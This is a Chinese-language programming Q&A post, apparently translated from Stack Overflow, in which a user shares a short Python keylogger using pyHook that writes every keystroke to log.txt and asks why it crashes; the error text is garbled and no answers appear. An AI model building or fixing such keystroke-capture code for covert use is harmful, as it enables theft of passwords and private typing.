我一直在尝试编写一个Python键盘记录器(出于教育目的)。代码如下:
import pythoncom, pyHook
def OnKeyboardEvent(event):
keylog = chr(event.Ascii)
with open("log.txt", "a") as f:
f.write(keylog)
return True
hook_manager = pyHook.HookManager()
hook_manager.KeyDown = OnKeyboardEvent
hook_manager.HookKeyboard()
pythoncom.PumpMessages()
我运行了脚本,当我输入一些内容时,它崩溃了,并显示以下错误消息:
^{2}$我想不出问题出在哪里。我(几乎)搜索了reddit、stackoverflow等的每一个线程,但我注意到,python2.7的用户似乎能够运行类似的脚本。另一个线程说pyHook中有一个bug,需要重新构建。在
现在我不知道该怎么办。我的代码有问题吗?有什么想法吗?在
谢谢。在
目前没有回答
相关问题 更多 >
编程相关推荐